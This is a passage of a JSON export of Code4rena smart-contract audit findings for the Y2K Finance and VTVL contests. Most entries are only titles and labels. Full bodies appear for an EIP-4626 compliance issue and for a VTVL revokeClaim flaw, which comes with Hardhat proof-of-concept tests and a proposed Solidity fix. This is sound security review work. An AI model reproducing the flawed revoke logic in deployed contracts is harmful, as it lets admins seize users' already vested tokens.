"https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "StakingRewards.sol#notifyRewardAmount() Improper reward balance checks can make some users unable to withdraw their rewards"}, {"title": "StakingRewards: recoverERC20() can be used as a backdoor by the owner to retrieve rewardsToken", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "edited-by-warden", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "StakingRewards: recoverERC20() can be used as a backdoor by the owner to retrieve rewardsToken"}, {"title": "Vault.sol is not EIP-4626 compliant ", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/47", "labels": ["bug", "3 (High Risk)", "high quality report", "resolved", "sponsor confirmed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/Vault.sol#L244-L252 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/SemiFungibleVault.sol#L205-L213 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/SemiFungibleVault.sol#L237-L239 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/SemiFungibleVault.sol#L244-L246 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/SemiFungibleVault.sol#L251-L258 https://github.com/code-423n4/2022-09-y2k-finance/blob/ac3e86f07bc2f1f51148d2265cc897e8b494adf7/src/SemiFungibleVault.sol#L263-L270 # Vulnerability details ## Impact Other protocols that integrate with Y2K may wrongly assume that the functions are EIP-4626 compliant. Thus, it might cause integration problems in the future that can lead to wide range of issues for both parties. ## Proof of Concept All official EIP-4626 requirements can be found on it's [official page](https://eips.ethereum.org/EIPS/eip-4626#methods). Non-compliant functions are listed below along with the reason they are not compliant: The following functions are missing but should be present: 1. mint(uint256, address) returns (uint256) 2. redeem(uint256, address, address) returns (uint256) The following functions are non-compliant because they don't account for withdraw and deposit locking: 1. maxDeposit 2. maxMint 3. maxWithdraw 4. maxRedeem All of the above functions should return 0 when their respective functions are disabled (i.e. maxDeposit should return 0 when deposits are disabled) previewDeposit is not compliant because it must account for fees which it does not totalAssets is not compliant because it does not always return the underlying managed by the vault because it fails to include the assets paid out during a depeg or the end of the epoch. ## Tools Used ## Recommended Mitigation Steps All functions listed above should be modified to meet the specifications of EIP-4626"}, {"title": "Risk users are required to payout if the price of the pegged asset goes higher than underlying", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/45", "labels": ["bug", "3 (High Risk)", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Risk users are required to payout if the price of the pegged asset goes higher than underlying"}, {"title": "Fees are taken on risk collateral", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "edited-by-warden", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "Fees are taken on risk collateral"}, {"title": "StakingRewards.sol#stake is intended to be pausable but isn't", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "selected-for-report"], "target": "2022-09-y2k-finance-findings", "body": "StakingRewards.sol#stake is intended to be pausable but isn't"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-y2k-finance-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-y2k-finance-findings/issues/1", "labels": [], "target": "2022-09-y2k-finance-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/497", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/496", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/495", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/493", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/492", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/491", "labels": ["bug", "G (Gas Optimization)", "high quality report"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/489", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/488", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/487", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/485", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/484", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/483", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/482", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/481", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/479", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Loss of vested amounts", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/475", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L418 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L147-L151 https://github.com/code-423n4/2022-09-vtvl/blob/f68b7f3e61dad0d873b5b5a1e8126b839afeab5f/contracts/VTVLVesting.sol#L364 # Vulnerability details ## Impact Vesting is a legal term that means the point in time where property is earned or gained by some person. The VTVLVesting contract defines: - a start time (Claim::startTimestamp) and an end time (Claim::endTimestamp) at which vesting starts and ends for a entitled user - the calculated points in time when the fractions of the total amount are released and therefore can be withdrawn (which are defined by Claim::releaseIntervalSecs). The entitled user can either withdraw after each interval elapses, or after the whole vesting period is over or any variant of the two options. The administrator of the contract can revoke the claim for a user at any time, which for vesting assets is expected. For example an employee with a vesting stock allocation of 1000 shares vesting at each quarter over a period of 4 years, may resign after 2 years and therefore the only half of the shares would be vested and therefore sold by the employee. The employee can either sell them at each quarter, or before, or after resigning, in any case the half of the shares have vested and are by legal right owned by the employee. The VTVLContract revoke has the following defects: - it ignores the amount already vested and now yet withdrawn - if called, say half-way the total period, just after claimer withdraws the already vested amount, it revokes only the right to vest the remaining part in future. - if called, say half-way the total period, right before the claimer withdraws the already vested amount, it revokes both the already vested amount and the right to vest the remaining part in future. Raising as high impact because it actually causes: - loss of already vested amounts of a user with a valid claim that has already righteously vested a part but not withdrawn - different outcomes depending on the order in which withdraw and revokeClaim functions are called which means that one of the two behavoiurs is certainly in conflict with the other causing a loss on one of the two sides, contract or claimer (by definition of Vesting rights, the claimer). - lack of trust by the potential claimers/users whch can be at any time deprived of righteously vested amounts. ## Proof of Concept The following two tests prove the behaviour difference when the order by which revokeClaim vs withdraw are called, whch shows that the vesting right is not guaranteed. ```solidity // NOTE: USES ORIGINAL REVOKE BEHAVIOUR it('sample revoke use case USER LOSE: employee withdraw immediately after resignation', async () => { const {tokenContract, vestingContract} = await createPrefundedVestingContract({tokenName, tokenSymbol, initialSupplyTokens}); const startTimestamp = await getLastBlockTs() + 100; const endTimestamp = startTimestamp + 2000; const terminationTimestamp = startTimestamp + 1000 + 50; // half-way vesting, plus half release interval which shall be discarded const releaseIntervalSecs = 100; await vestingContract.createClaim(owner2.address, startTimestamp, endTimestamp, cliffReleaseTimestamp, releaseIntervalSecs, linearVestAmount, cliffAmount); // move clock to termination timestamp (half-way the vesting period plus a bit, but less than release interval seconds) await ethers.provider.send(\"evm_mine\", [terminationTimestamp]); let availableAmt = await vestingContract.claimableAmount(owner2.address) // revoke the claim preserving the \"already vested but not yet withdrawn amount\" await (await vestingContract.revokeClaim(owner2.address)).wait(); let userBalanceBefore = await tokenContract.balanceOf(owner2.address); await expect(vestingContract.connect(owner2).withdraw()).to.be.revertedWith('NO_ACTIVE_CLAIM'); let userBalanceAfter = await tokenContract.balanceOf(owner2.address); // move the clock to the programmed end of vesting period await ethers.provider.send(\"evm_mine\", [endTimestamp]); // cliffTimestamp < startTimestamp < terminationTimestamp, hence expected cliffAmount + (1/2 * anlinearVestAmount) let expectedVestedAmount = cliffAmount.add(linearVestAmount.div(2)); // RESIGNING EMPLOYEE LOSES HIS VESTED AMOUNT BECAUSE OF WITHDRAWING IMMEDIATELY AFTER RESIGNATION expect(userBalanceAfter.sub(userBalanceBefore)).to.be.equal(0); // VTVLVesting CONTRACT TOOK ALREADY VESTED AMOUNT FROM OWNER2 expect(await vestingContract.finalClaimableAmount(owner2.address)).to.be.equal(0); }); // NOTE: USES ORIGINAL REVOKE BEHAVIOUR it('sample revoke use case USER WIN: employee withdraw immediately before resignation', async () => { const {tokenContract, vestingContract} = await createPrefundedVestingContract({tokenName, tokenSymbol, initialSupplyTokens}); const startTimestamp = await getLastBlockTs() + 100; const endTimestamp = startTimestamp + 2000; const terminationTimestamp = startTimestamp + 1000 + 50; // half-way vesting, plus half release interval which shall be discarded const releaseIntervalSecs = 100; await vestingContract.createClaim(owner2.address, startTimestamp, endTimestamp, cliffReleaseTimestamp, releaseIntervalSecs, linearVestAmount, cliffAmount); // move clock to termination timestamp (half-way the vesting period plus a bit, but less than release interval seconds) await ethers.provider.send(\"evm_mine\", [terminationTimestamp]); let userBalanceBefore = await tokenContract.balanceOf(owner2.address); await (await vestingContract.connect(owner2).withdraw()).wait(); let userBalanceAfter = await tokenContract.balanceOf(owner2.address); // revoke the claim preserving the \"already vested but not yet withdrawn amount\" await (await vestingContract.revokeClaim(owner2.address)).wait(); // move the clock to the programmed end of vesting period await ethers.provider.send(\"evm_mine\", [endTimestamp]); console.log(userBalanceAfter.sub(userBalanceBefore)); // RESIGNING EMPLOYEE RECEIVES HIS VESTED AMOUNT BY WITHDRAWING IMMEDIATELY BEFORE RESIGNATION expect(userBalanceAfter.sub(userBalanceBefore)).to.be.greaterThan(0); expect(await vestingContract.finalClaimableAmount(owner2.address)).to.be.equal(0); }); ```solidity ## Tools Used n/a ## Recommended Mitigation Steps Below are, in order, a test and a diff/patch for a proposed fix. The proposed fix is just an idea at how to fix, or in other words, a way to preserve the already vested amount when claim is revoked. The diff/patch add a deactivationTimestamp to claim, and a new revokeClaimProper that shall replace the revokeClaim function to correct the behaviour. The deactivationTimestamp is used to track the deactivation time for the claim in order to preserve the amount vested so far and allow the user to withdraw the amount righteously earned so far. The _baseVestedAmount and hasActiveClaim have been updated to do proper math when isActive is false but deactivationTimestamp is greater than 0. The finalVestedAmount has been update to show the \"what would be\" amount if the vesting would have reached the claim endTimestamp while the finalClaimableAmount takes into consideration the deactivationTimestamp if the claim has been revoked. The test shows that the already vested amount (cliff + half way linear vesting) is preserved. ```solidity diff --git a/contracts/VTVLVesting.sol b/contracts/VTVLVesting.sol index 133f19f..7ab955c 100644 --- a/contracts/VTVLVesting.sol +++ b/contracts/VTVLVesting.sol @@ -34,6 +34,7 @@ contract VTVLVesting is Context, AccessProtected { // Gives us a range from 1 Jan 1970 (Unix epoch) up to approximately 35 thousand years from then (2^40 / (365 * 24 * 60 * 60) ~= 35k) uint40 startTimestamp; // When does the vesting start (40 bits is enough for TS) uint40 endTimestamp; // When does the vesting end - the vesting goes linearly between the start and end timestamps + uint40 deactivationTimestamp; uint40 cliffReleaseTimestamp; // At which timestamp is the cliffAmount released. This must be <= startTimestamp uint40 releaseIntervalSecs; // Every how many seconds does the vested amount increase. @@ -108,7 +109,7 @@ contract VTVLVesting is Context, AccessProtected { // We however still need the active check, since (due to the name of the function) // we want to only allow active claims - require(_claim.isActive == true, \"NO_ACTIVE_CLAIM\"); + require(_claim.isActive == true || _claim.deactivationTimestamp > 0, \"NO_ACTIVE_CLAIM\"); // Save gas, omit further checks // require(_claim.linearVestAmount + _claim.cliffAmount > 0, \"INVALID_VESTED_AMOUNT\"); @@ -144,20 +145,20 @@ contract VTVLVesting is Context, AccessProtected { @param _claim The claim in question @param _referenceTs Timestamp for which we're calculating */ - function _baseVestedAmount(Claim memory _claim, uint40 _referenceTs) internal pure returns (uint112) { + function _baseVestedAmount(Claim memory _claim, uint40 _referenceTs, uint40 vestEndTimestamp) internal pure returns (uint112) { uint112 vestAmt = 0; - - // the condition to have anything vested is to be active - if(_claim.isActive) { + + if(_claim.isActive || _claim.deactivationTimestamp > 0) { // no point of looking past the endTimestamp as nothing should vest afterwards // So if we're past the end, just get the ref frame back to the end - if(_referenceTs > _claim.endTimestamp) { - _referenceTs = _claim.endTimestamp; + if(_referenceTs > vestEndTimestamp) { + _referenceTs = vestEndTimestamp; } // If we're past the cliffReleaseTimestamp, we release the cliffAmount // We don't check here that cliffReleaseTimestamp is after the startTimestamp - if(_referenceTs >= _claim.cliffReleaseTimestamp) { // @audit is _claim.require(cliffReleaseTimestamp < _claim.endTimestamp) ? + if(_referenceTs >= _claim.cliffReleaseTimestamp) { // @audit note cliffReleaseTimestamp cannot? be zero without cliffamoutn being zero + // @audit NOTE: (cliffReleaseTimestamp is always <= _startTimestamp <= endTimestamp, or 0 if no vesting) vestAmt += _claim.cliffAmount; } @@ -195,7 +196,8 @@ contract VTVLVesting is Context, AccessProtected { */ function vestedAmount(address _recipient, uint40 _referenceTs) public view returns (uint112) { Claim storage _claim = claims[_recipient]; - return _baseVestedAmount(_claim, _referenceTs); + uint40 vestEndTimestamp = _claim.isActive ? _claim.endTimestamp : _claim.deactivationTimestamp; + return _baseVestedAmount(_claim, _referenceTs, vestEndTimestamp); } /** @@ -205,7 +207,18 @@ contract VTVLVesting is Context, AccessProtected { */ function finalVestedAmount(address _recipient) public view returns (uint112) { Claim storage _claim = claims[_recipient]; - return _baseVestedAmount(_claim, _claim.endTimestamp); + return _baseVestedAmount(_claim, _claim.endTimestamp, _claim.endTimestamp); + } + + /** + @notice Calculates how much wil be possible to claim at the end of vesting date, by subtracting the already withdrawn + amount from the vestedAmount at this moment. Vesting date is either the end timestamp or the deactivation timestamp. + @param _recipient - The address for whom we're calculating + */ + function finalClaimableAmount(address _recipient) external view returns (uint112) { + Claim storage _claim = claims[_recipient]; + uint40 vestEndTimestamp = _claim.isActive ? _claim.endTimestamp : _claim.deactivationTimestamp; + return _baseVestedAmount(_claim, vestEndTimestamp, vestEndTimestamp) - _claim.amountWithdrawn; } /** @@ -214,7 +227,8 @@ contract VTVLVesting is Context, AccessProtected { */ function claimableAmount(address _recipient) external view returns (uint112) { Claim storage _claim = claims[_recipient]; - return _baseVestedAmount(_claim, uint40(block.timestamp)) - _claim.amountWithdrawn; + uint40 vestEndTimestamp = _claim.isActive ? _claim.endTimestamp : _claim.deactivationTimestamp; + return _baseVestedAmount(_claim, uint40(block.timestamp), vestEndTimestamp) - _claim.amountWithdrawn; } /** @@ -280,6 +294,7 @@ contract VTVLVesting is Context, AccessProtected { Claim memory _claim = Claim({ startTimestamp: _startTimestamp, endTimestamp: _endTimestamp, + deactivationTimestamp: 0, cliffReleaseTimestamp: _cliffReleaseTimestamp, releaseIntervalSecs: _releaseIntervalSecs, cliffAmount: _cliffAmount, @@ -436,6 +451,30 @@ contract VTVLVesting is Context, AccessProtected { emit ClaimRevoked(_recipient, amountRemaining, uint40(block.timestamp), _claim); } + function revokeClaimProper(address _recipient) external onlyAdmin hasActiveClaim(_recipient) { + // Fetch the claim + Claim storage _claim = claims[_recipient]; + // Calculate what the claim should finally vest to + uint112 finalVestAmt = finalVestedAmount(_recipient); + + // No point in revoking something that has been fully consumed + // so require that there be unconsumed amount + require( _claim.amountWithdrawn < finalVestAmt, \"NO_UNVESTED_AMOUNT\"); + + _claim.isActive = false; + _claim.deactivationTimestamp = uint40(block.timestamp); + + uint112 vestedSoFarAmt = vestedAmount(_recipient, uint40(block.timestamp)); + // The amount that is \"reclaimed\" is equal to the total allocation less what was already + // vested without the part that was already withdrawn. + uint112 amountRemaining = finalVestAmt - (vestedSoFarAmt - _claim.amountWithdrawn); + + numTokensReservedForVesting -= amountRemaining; // Reduces the allocation + + // Tell everyone a claim has been revoked. + emit ClaimRevoked(_recipient, amountRemaining, uint40(block.timestamp), _claim); + } + /** @notice Withdraw a token which isn't controlled by the vesting contract. @dev This contract controls/vests token at \"tokenAddress\". However, someone might send a different token. ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/471", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/470", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/468", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/467", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/466", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/465", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/461", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/459", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/457", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "_releaseIntervalSecs is not validated", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/448", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-09-vtvl-findings", "body": "_releaseIntervalSecs is not validated"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/446", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/445", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/443", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/442", "labels": ["bug", "high quality report", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/441", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/440", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/439", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/438", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/437", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/436", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/435", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/432", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Two address tokens can be withdrawn by the admin even if they are vested", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/429", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-vtvl-findings", "body": "Two address tokens can be withdrawn by the admin even if they are vested"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/425", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/423", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": " Dangerous access control design of admin", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/422", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": " Dangerous access control design of admin"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/421", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/415", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/414", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/412", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/410", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/409", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/408", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/407", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/405", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "The Deployer can be unset as the admin of the contract", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/401", "labels": ["bug", "enhancement", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-vtvl-findings", "body": "The Deployer can be unset as the admin of the contract"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/399", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "ERC721 tokens can be possibly trapped in the `VTVLVesting` contract", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/398", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "ERC721 tokens can be possibly trapped in the `VTVLVesting` contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/397", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-vtvl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/395", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-vtvl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-vtvl-findings/issues/394", 